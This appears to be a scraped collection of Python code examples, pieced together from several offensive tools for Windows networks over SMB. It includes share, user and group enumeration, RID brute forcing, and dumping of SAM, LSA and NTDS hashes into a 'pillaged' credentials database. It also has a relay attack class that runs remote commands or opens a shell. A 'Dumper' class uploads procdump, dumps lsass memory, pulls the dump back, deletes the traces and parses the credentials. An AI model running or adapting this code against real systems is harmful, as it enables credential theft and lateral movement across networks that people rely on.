            with open(payload) as commands:
                for c in commands:
                    self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        else:
            self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods)
        return ''

    def shares(self):
        temp_dir = ntpath.normpath("\\" + gen_random_string())
        #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0]
        permissions = []

        try:
            for share in self.conn.listShares():
                share_name = share['shi1_netname'][:-1]
                share_remark = share['shi1_remark'][:-1]
                share_info = {'name': share_name, 'remark': share_remark, 'access': []}
                read = False
                write = False

                try:
                    self.conn.listPath(share_name, '*')
                    read = True
                    share_info['access'].append('READ')
                except SessionError:
                    pass

                try:
                    self.conn.createDirectory(share_name, temp_dir)
                    self.conn.deleteDirectory(share_name, temp_dir)
                    write = True
                    share_info['access'].append('WRITE')
                except SessionError:
                    pass

                permissions.append(share_info)
                #self.db.add_share(hostid, share_name, share_remark, read, write)

            self.logger.success('Enumerated shares')
            self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark'))
            self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------'))
            for share in permissions:
                name   = share['name']
                remark = share['remark']
                perms  = share['access']

                self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark))

        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating shares: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return permissions

    def get_dc_ips(self):
        dc_ips = []

        for dc in self.db.get_domain_controllers(domain=self.domain):
            dc_ips.append(dc[1])

        if not dc_ips:
            dc_ips.append(self.host)

        return dc_ips

    def sessions(self):
        sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
        self.logger.success('Enumerated sessions')
        for session in sessions:
            if session.sesi10_cname.find(self.local_ip) == -1:
                self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username))

        return sessions

    def disks(self):
        disks = []
        try:
            disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            self.logger.success('Enumerated disks')
            for disk in disks:
                self.logger.highlight(disk.disk)
        except Exception as e:
            error, desc = e.getErrorString()
            self.logger.error('Error enumerating disks: {}'.format(error),
                            color='magenta' if error in smb_error_status else 'red')

        return disks

    def local_groups(self):
        groups = []
        #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group
        for dc_ip in self.get_dc_ips():
            try:
                groups = get_netlocalgroup(self.host, dc_ip, '', self.username,
                                           self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups,
                                           list_groups=True if not self.args.local_groups else False, recurse=False)

                if self.args.local_groups:
                    self.logger.success('Enumerated members of local group')
                else:
                    self.logger.success('Enumerated local groups')

                for group in groups:
                    if group.name:
                        if not self.args.local_groups:
                            self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount))
                            self.db.add_group(self.hostname, group.name)
                        else:
                            domain, name = group.name.split('/')
                            self.logger.highlight('{}\\{}'.format(domain.upper(), name))
                            try:
                                group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0]
                            except IndexError:
                                group_id = self.db.add_group(domain, self.args.local_groups)

                            # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group.
                            # (╯°□°)╯︵ ┻━┻

                            if not group.isgroup:
                                self.db.add_user(domain, name, group_id)
                            elif group.isgroup:
                                self.db.add_group(domain, name)
                break
            except Exception as e:
                self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e))

        return groups

    def domainfromdsn(self, dsn):
        dsnparts = dsn.split(',')
        domain = ""
        for part in dsnparts:
            k,v = part.split("=")
            if k == "DC":
                if domain=="":
                    domain = v
                else:
                    domain = domain+"."+v
        return domain

    def groups(self):
        groups = []
        for dc_ip in self.get_dc_ips():
            if self.args.groups:
                try:
                    groups = get_netgroupmember(dc_ip, '', self.username, password=self.password,
                                                lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(),
                                                queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False,
                                                full_data=False, custom_filter=str())

                    self.logger.success('Enumerated members of domain group')
                    for group in groups:
                        self.logger.highlight('{}\\{}'.format(group.memberdomain, group.membername))

                        try:
                            group_id = self.db.get_groups(groupName=self.args.groups, groupDomain=group.groupdomain)[0][0]
                        except IndexError:
                            group_id = self.db.add_group(group.groupdomain, self.args.groups)

                        if not group.isgroup:
                            self.db.add_user(group.memberdomain, group.membername, group_id)
                        elif group.isgroup:
                            self.db.add_group(group.groupdomain, group.groupname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group members using dc ip {}: {}'.format(dc_ip, e))
            else:
                try:
                    groups = get_netgroup(dc_ip, '', self.username, password=self.password,
                                          lmhash=self.lmhash, nthash=self.nthash, queried_groupname=str(), queried_sid=str(),
                                          queried_username=str(), queried_domain=str(), ads_path=str(),
                                          admin_count=False, full_data=True, custom_filter=str())

                    self.logger.success('Enumerated domain group(s)')
                    for group in groups:
                        self.logger.highlight('{:<40} membercount: {}'.format(group.samaccountname, len(group.member) if hasattr(group, 'member') else 0))

                        if bool(group.isgroup) is True:
                            # Since there isn't a groupmemeber attribute on the returned object from get_netgroup we grab it from the distinguished name
                            domain = self.domainfromdsn(group.distinguishedname)
                            self.db.add_group(domain, group.samaccountname)
                    break
                except Exception as e:
                    self.logger.error('Error enumerating domain group using dc ip {}: {}'.format(dc_ip, e))

        return groups

    def users(self):
        users = []
        for dc_ip in self.get_dc_ips():
            try:
                users = get_netuser(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash,
                                    nthash=self.nthash, queried_username=self.args.users, queried_domain='', ads_path=str(),
                                    admin_count=False, spn=False, unconstrained=False, allow_delegation=False,
                                    custom_filter=str())

                self.logger.success('Enumerated domain user(s)')
                for user in users:
                    domain = self.domainfromdsn(user.distinguishedname)
                    self.logger.highlight('{}\\{:<30} badpwdcount: {} baddpwdtime: {}'.format(domain,user.samaccountname,getattr(user,'badpwdcount',0),getattr(user, 'badpasswordtime','')))
                    self.db.add_user(domain, user.samaccountname)

                break
            except Exception as e:
                logging.debug('Error enumerating domain users using dc ip {}: {}'.format(dc_ip, e))

        return users

    def loggedon_users(self):
        loggedon = []
        try:
            loggedon = get_netloggedon(self.host, self.domain, self.username, self.password, lmhash=self.lmhash, nthash=self.nthash)
            self.logger.success('Enumerated loggedon users')
            for user in loggedon:
                self.logger.highlight('{}\\{:<25} {}'.format(user.wkui1_logon_domain, user.wkui1_username,
                                                           'logon_server: {}'.format(user.wkui1_logon_server) if user.wkui1_logon_server else ''))
        except Exception as e:
            self.logger.error('Error enumerating logged on users: {}'.format(e))

        return loggedon

    def pass_pol(self):
        return PassPolDump(self).dump()

    @requires_admin
    def wmi(self, wmi_query=None, namespace=None):
        records = []
        if not namespace:
            namespace = self.args.wmi_namespace

        try:
            rpc = RPCRequester(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash)
            rpc._create_wmi_connection(namespace=namespace)

            if wmi_query:
                query = rpc._wmi_connection.ExecQuery(wmi_query, lFlags=WBEM_FLAG_FORWARD_ONLY)
            else:
                query = rpc._wmi_connection.ExecQuery(self.args.wmi, lFlags=WBEM_FLAG_FORWARD_ONLY)
        except Exception as e:
            self.logger.error('Error creating WMI connection: {}'.format(e))
            return records

        while True:
            try:
                wmi_results = query.Next(0xffffffff, 1)[0]
                record = wmi_results.getProperties()
                records.append(record)
                for k,v in record.items():
                    self.logger.highlight('{} => {}'.format(k,v['value']))
                self.logger.highlight('')
            except Exception as e:
                if str(e).find('S_FALSE') < 0:
                    raise e
                else:
                    break

        return records

    def spider(self, share=None, folder='.', pattern=[], regex=[], exclude_dirs=[], depth=None, content=False, onlyfiles=True):
        spider = SMBSpider(self.conn, self.logger)

        self.logger.info('Started spidering')
        start_time = time()
        if not share:
            spider.spider(self.args.spider, self.args.spider_folder, self.args.pattern,
                          self.args.regex, self.args.exclude_dirs, self.args.depth,
                          self.args.content, self.args.only_files)
        else:
            spider.spider(share, folder, pattern, regex, exclude_dirs, depth, content, onlyfiles)

        self.logger.info("Done spidering (Completed in {})".format(time() - start_time))

        return spider.results

    def rid_brute(self, maxRid=None):
        entries = []
        if not maxRid:
            maxRid = int(self.args.rid_brute)

        KNOWN_PROTOCOLS = {
            135: {'bindstr': r'ncacn_ip_tcp:%s',           'set_host': False},
            139: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            445: {'bindstr': r'ncacn_np:{}[\pipe\lsarpc]', 'set_host': True},
            }

        try:
            stringbinding = KNOWN_PROTOCOLS[self.args.port]['bindstr'].format(self.host)
            logging.debug('StringBinding {}'.format(stringbinding))
            rpctransport = transport.DCERPCTransportFactory(stringbinding)
            rpctransport.set_dport(self.args.port)

            if KNOWN_PROTOCOLS[self.args.port]['set_host']:
                rpctransport.setRemoteHost(self.host)

            if hasattr(rpctransport, 'set_credentials'):
                # This method exists only for selected protocol sequences.
                rpctransport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)

            dce = rpctransport.get_dce_rpc()
            dce.connect()
        except Exception as e:
            self.logger.error('Error creating DCERPC connection: {}'.format(e))
            return entries

        # Want encryption? Uncomment next line
        # But make SIMULTANEOUS variable <= 100
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)

        # Want fragmentation? Uncomment next line
        #dce.set_max_fragment_size(32)

        self.logger.success('Brute forcing RIDs')
        dce.bind(lsat.MSRPC_UUID_LSAT)
        resp = lsad.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = lsad.hLsarQueryInformationPolicy2(dce, policyHandle, lsad.POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)

        domainSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()

        soFar = 0
        SIMULTANEOUS = 1000
        for j in range(maxRid//SIMULTANEOUS+1):
            if (maxRid - soFar) // SIMULTANEOUS == 0:
                sidsToCheck = (maxRid - soFar) % SIMULTANEOUS
            else:
                sidsToCheck = SIMULTANEOUS

            if sidsToCheck == 0:
                break

            sids = list()
            for i in range(soFar, soFar+sidsToCheck):
                sids.append(domainSid + '-%d' % i)
            try:
                lsat.hLsarLookupSids(dce, policyHandle, sids,lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)
            except DCERPCException as e:
                if str(e).find('STATUS_NONE_MAPPED') >= 0:
                    soFar += SIMULTANEOUS
                    continue
                elif str(e).find('STATUS_SOME_NOT_MAPPED') >= 0:
                    resp = e.get_packet()
                else:
                    raise

            for n, item in enumerate(resp['TranslatedNames']['Names']):
                if item['Use'] != SID_NAME_USE.SidTypeUnknown:
                    rid    = soFar + n
                    domain = resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name']
                    user   = item['Name']
                    sid_type = SID_NAME_USE.enumItems(item['Use']).name
                    self.logger.highlight("{}: {}\\{} ({})".format(rid, domain, user, sid_type))
                    entries.append({'rid': rid, 'domain': domain, 'username': user, 'sidtype': sid_type})

            soFar += SIMULTANEOUS

        dce.disconnect()

        return entries

    @requires_admin
    def put_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.put_file[0], self.args.put_file[1]))
        with open(self.args.put_file[0], 'rb') as file:
            try:
                self.conn.putFile(self.args.share, self.args.put_file[1], file.read)
                self.logger.success('Created file {} on \\\\{}{}'.format(self.args.put_file[0], self.args.share, self.args.put_file[1]))
            except Exception as e:
                self.logger.error('Error writing file to share {}: {}'.format(self.args.share, e))

    @requires_admin
    def get_file(self):
        self.logger.info('Copy {} to {}'.format(self.args.get_file[0], self.args.get_file[1]))
        with open(self.args.get_file[1], 'wb+') as file:
            try:
                self.conn.getFile(self.args.share, self.args.get_file[0], file.write)
                self.logger.success('File {} was transferred to {}'.format(self.args.get_file[0], self.args.get_file[1]))
            except Exception as e:
                self.logger.error('Error reading file {}: {}'.format(self.args.share, e))

    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return

        try:
            self.remote_ops  = RemoteOperations(self.conn, False, None) #self.__doKerberos, self.__kdcHost
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.error('RemoteOperations failed: {}'.format(e))

    @requires_admin
    def sam(self):
        self.enable_remoteops()

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_sam_hash(sam_hash, host_id):
            add_sam_hash.sam_hashes += 1
            self.logger.highlight(sam_hash)
            username,_,lmhash,nthash,_,_,_ = sam_hash.split(':')
            self.db.add_credential('hash', self.hostname, username, ':'.join((lmhash, nthash)), pillaged_from=host_id)
        add_sam_hash.sam_hashes = 0

        if self.remote_ops and self.bootkey:
            #try:
            SAMFileName = self.remote_ops.saveSAM()
            SAM = SAMHashes(SAMFileName, self.bootkey, isRemote=True, perSecretCallback=lambda secret: add_sam_hash(secret, host_id))

            self.logger.success('Dumping SAM hashes')
            SAM.dump()
            SAM.export(self.output_filename)

            self.logger.success('Added {} SAM hashes to the database'.format(highlight(add_sam_hash.sam_hashes)))

            #except Exception as e:
                #self.logger.error('SAM hashes extraction failed: {}'.format(e))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            SAM.finish()

    @requires_admin
    def lsa(self):
        self.enable_remoteops()

        def add_lsa_secret(secret):
            add_lsa_secret.secrets += 1
            self.logger.highlight(secret)
        add_lsa_secret.secrets = 0

        if self.remote_ops and self.bootkey:

            SECURITYFileName = self.remote_ops.saveSECURITY()

            LSA = LSASecrets(SECURITYFileName, self.bootkey, self.remote_ops, isRemote=True,
                             perSecretCallback=lambda secretType, secret: add_lsa_secret(secret))

            self.logger.success('Dumping LSA secrets')
            LSA.dumpCachedHashes()
            LSA.exportCached(self.output_filename)
            LSA.dumpSecrets()
            LSA.exportSecrets(self.output_filename)

            self.logger.success('Dumped {} LSA secrets to {} and {}'.format(highlight(add_lsa_secret.secrets),
                                                                            self.output_filename + '.secrets', self.output_filename + '.cached'))

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            LSA.finish()

    @requires_admin
    def ntds(self):
        self.enable_remoteops()
        use_vss_method = False
        NTDSFileName   = None

        host_id = self.db.get_computers(filterTerm=self.host)[0][0]

        def add_ntds_hash(ntds_hash, host_id):
            add_ntds_hash.ntds_hashes += 1
            self.logger.highlight(ntds_hash)
            if ntds_hash.find('$') == -1:
                if ntds_hash.find('\\') != -1:
                    domain, hash = ntds_hash.split('\\')
                else:
                    domain = self.domain
                    hash = ntds_hash

                try:
                    username,_,lmhash,nthash,_,_,_ = hash.split(':')
                    parsed_hash = ':'.join((lmhash, nthash))
                    if validate_ntlm(parsed_hash):
                        self.db.add_credential('hash', domain, username, parsed_hash, pillaged_from=host_id)
                        add_ntds_hash.added_to_db += 1
                        return
                    raise
                except:
                    logging.debug("Dumped hash is not NTLM, not adding to db for now ;)")
            else:
                logging.debug("Dumped hash is a computer account, not adding to db")
        add_ntds_hash.ntds_hashes = 0
        add_ntds_hash.added_to_db = 0

        if self.remote_ops and self.bootkey:
            try:
                if self.args.ntds == 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName, self.bootkey, isRemote=True, history=False, noLMHash=True,
                                 remoteOps=self.remote_ops, useVSSMethod=use_vss_method, justNTLM=False,
                                 pwdLastSet=False, resumeSession=None, outputFileName=self.output_filename,
                                 justUser=None, printUserStatus=False,
                                 perSecretCallback = lambda secretType, secret : add_ntds_hash(secret, host_id))

                self.logger.success('Dumping the NTDS, this could take a while so go grab a redbull...')
                NTDS.dump()

                self.logger.success('Dumped {} NTDS hashes to {} of which {} were added to the database'.format(highlight(add_ntds_hash.ntds_hashes), self.output_filename + '.ntds',
                                                                                                                highlight(add_ntds_hash.added_to_db)))

            except Exception as e:
                #if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
                    # We don't store the resume file if this error happened, since this error is related to lack
                    # of enough privileges to access DRSUAPI.
                #    resumeFile = NTDS.getResumeSessionFile()
                #    if resumeFile is not None:
                #        os.unlink(resumeFile)
                self.logger.error(e)

            try:
                self.remote_ops.finish()
            except Exception as e:
                logging.debug("Error calling remote_ops.finish(): {}".format(e))

            NTDS.finish()
Пример #13
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something went wrong, most probably we don't have access as admin. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
            finally:
Пример #14
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = bytearray()
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection, self.tcpshell)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception as e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info("Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info("Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info("Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print(self.__answerTMP.decode(self.config.encoding, 'replace'))
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception as e:
                LOG.error(str(e))
            finally:
                if samHashes is not None:
                    samHashes.finish()
                if remoteOps is not None:
                    remoteOps.finish()
Пример #15
0
class Dumper:
    def __init__(self, username, password, domain, target, auth, hashes):
        self.target = target
        self.auth = auth
        if domain is None:
            domain = ""
        self.credentials = {
            "username": username,
            "password": password,
            "domain": domain,
            "hashes": hashes,
        }
        if self.credentials["hashes"] != "":
            self.credentials["hashes"] = self.credentials["hashes"].lower()
            self.credentials["lm_hash"] = self.credentials["hashes"].split(
                ":")[0]
            self.credentials["nt_hash"] = self.credentials["hashes"].split(
                ":")[1]
        else:
            self.credentials["hashes"] = None
            self.credentials["lm_hash"] = ""
            self.credentials["nt_hash"] = ""
        self.smb = SMBConnection(self.target,
                                 self.target,
                                 sess_port=445,
                                 timeout=4)
        self.host_info = self.enum_host_info()

    def enum_host_info(self):
        print("Performing enumeration")
        info_dict = {}
        self.smb.login(
            user=self.credentials["username"],
            password=self.credentials["password"],
            domain=self.credentials["domain"],
            nthash=self.credentials["nt_hash"],
            lmhash=self.credentials["lm_hash"],
        )
        os = self.smb.getServerOS()
        arch = self.get_arch()
        domain = self.smb.getServerDomain()
        info_dict.update({"target": self.target})
        info_dict.update({"os": os})
        info_dict.update({"domain": domain})
        info_dict.update({"arch": arch})
        print("Done")
        return info_dict

    def get_arch(self):
        options = Namespace()
        options.target = self.target
        NDR64Syntax = ("71710533-BEBA-4937-8319-B5DBEF9CCC36", "1.0")
        try:
            stringBinding = r"ncacn_ip_tcp:%s[135]" % self.target
            transport = DCERPCTransportFactory(stringBinding)
            transport.set_connect_timeout(2)
            dce = transport.get_dce_rpc()
            dce.connect()
            try:
                dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=NDR64Syntax)
            except DCERPCException as e:
                if str(e).find("syntaxes_not_supported") >= 0:
                    return 32
                else:
                    print(str(e))
                    pass
            else:
                return 64

            dce.disconnect()
        except Exception as e:
            print(f"{self.target}, {str(e)}")
            print(f"Failed to determine {self.target} architecture")
            print("Attempt to proceed with 32 bit procdump")
            return 32

    def upload_file(self):
        print("Uploading file")
        if self.host_info["arch"] == 64:
            src = src_x64
            filename = re.sub(r"\d+", "", path.basename(src))
            self.smb.putFile("C$", "/Users/Public/Documents/" + filename,
                             open(src, "rb").read)
        elif self.host_info["arch"] == 32:
            src = src_x32
            filename = re.sub(r"\d+", "", path.basename(src))
            self.smb.putFile("C$", "/Users/Public/Documents/" + filename,
                             open(src, "rb").read)
        else:
            print("Something went wrong")
            sys.exit(1)
        print("Done")

    def exec_procdump(self):
        print("Executing procdump")
        if self.credentials["password"] != "":
            password = self.credentials["password"]
        else:
            password = ""
        if self.auth == "psexec":
            executer = PSEXEC(
                "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul",
                None,
                None,
                None,
                int(445),
                self.credentials["username"],
                password,
                self.credentials["domain"],
                self.credentials["hashes"],
                None,
                False,
                None,
                "",
            ).run(self.target, self.target)
            if self.host_info["arch"] == 64:
                executer = PSEXEC(
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    None,
                    None,
                    None,
                    int(445),
                    self.credentials["username"],
                    password,
                    self.credentials["domain"],
                    self.credentials["hashes"],
                    None,
                    False,
                    None,
                    "",
                )
            else:
                executer = PSEXEC(
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    None,
                    None,
                    None,
                    int(445),
                    self.credentials["username"],
                    password,
                    self.credentials["domain"],
                    self.credentials["hashes"],
                    None,
                    False,
                    None,
                    "",
                )
            executer.run(remoteName=self.target, remoteHost=self.target)
        elif self.auth == "wmiexec":
            executer = WMIEXEC(
                command=
                "C:\\Users\\Public\\Documents\\procdump.exe -accepteula > nul",
                username=self.credentials["username"],
                password=password,
                domain=self.credentials["domain"],
                hashes=self.credentials["hashes"],
                aesKey=None,
                share="C$",
                noOutput=False,
                doKerberos=False,
                kdcHost=None,
            ).run(self.target)
            if self.host_info["arch"] == 64:
                executer = WMIEXEC(
                    command=
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    username=self.credentials["username"],
                    password=password,
                    domain=self.credentials["domain"],
                    hashes=self.credentials["hashes"],
                    aesKey=None,
                    share="C$",
                    noOutput=False,
                    doKerberos=False,
                    kdcHost=None,
                )
            else:
                executer = WMIEXEC(
                    command=
                    "C:\\Users\\Public\\Documents\\procdump.exe -ma -64 lsass.exe C:\\Users\\Public\\Documents\\lsass_dump",
                    username=self.credentials["username"],
                    password=password,
                    domain=self.credentials["domain"],
                    hashes=self.credentials["hashes"],
                    aesKey=None,
                    share="C$",
                    noOutput=False,
                    doKerberos=False,
                    kdcHost=None,
                )
            executer.run(self.target)
        print("Done")

    def dump_lsass(self):
        print("Dumping")
        self.smb.getFile(
            "C$",
            "/Users/Public/Documents/lsass_dump.dmp",
            open("lsass_dump.dmp", "wb").write,
        )
        print("Done")

    def clear_out(self):
        print("Starting ClearOut")
        self.smb.deleteFile("C$", "/Users/Public/Documents/lsass_dump.dmp")
        self.smb.deleteFile("C$", "/Users/Public/Documents/procdump.exe")
        self.smb.close()
        print("ClearOut Done")

    # def clean_up(self):
    #     print("Searching for files")
    #     if self.credentials["password"] != "":
    #         password = self.credentials["password"]
    #     else:
    #         password = ""
    #     if self.auth == "psexec":
    #         executer = PSEXEC(
    #             "dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}",
    #             None,
    #             None,
    #             None,
    #             int(445),
    #             self.credentials["username"],
    #             password,
    #             self.credentials["domain"],
    #             self.credentials["hashes"],
    #             None,
    #             False,
    #             None,
    #             "",
    #         ).run(self.target, self.target)
    #     elif self.auth == "wmiexec":
    #         executer = WMIEXEC(
    #             command="dir C:\\Users\\Public\\Documents | ?{._name -match 'lsass_dump.*?.dmp$'}",
    #             username=self.credentials["username"],
    #             password=password,
    #             domain=self.credentials["domain"],
    #             hashes=self.credentials["hashes"],
    #             aesKey=None,
    #             share="C$",
    #             noOutput=False,
    #             doKerberos=False,
    #             kdcHost=None,
    #         ).run(self.target)
    #     # self.smb.login(
    #     #     user=self.credentials["username"],
    #     #     password=self.credentials["password"],
    #     #     domain=self.credentials["domain"],
    #     #     nthash=self.credentials["nt_hash"],
    #     #     lmhash=self.credentials["lm_hash"],
    #     # )
    #
    #     pdb.set_trace()

    @staticmethod
    def dump_to_pypykatz(dump_file="./lsass_dump.dmp"):
        print("Pypykatz doing his job...")

        cmdhelpers = [
            LSACMDHelper(),
            RegistryCMDHelper(),
            CryptoCMDHelper(),
            LDAPCMDHelper(),
            KerberosCMDHelper(),
            RemoteCMDHelper(),
        ]
        args = Namespace()
        args.cmd = "minidump"

        args.command = "lsa"
        args.directory = False
        args.halt_on_error = False
        args.json = True
        args.kerberos_dir = False
        args.memoryfile = dump_file
        args.outfile = "temp_report.json"
        args.recursive = False
        args.timestamp_override = None
        args.verbose = 0

        for helper in cmdhelpers:
            helper.execute(args)
        print("Removing dump file")
        os.remove(dump_file)
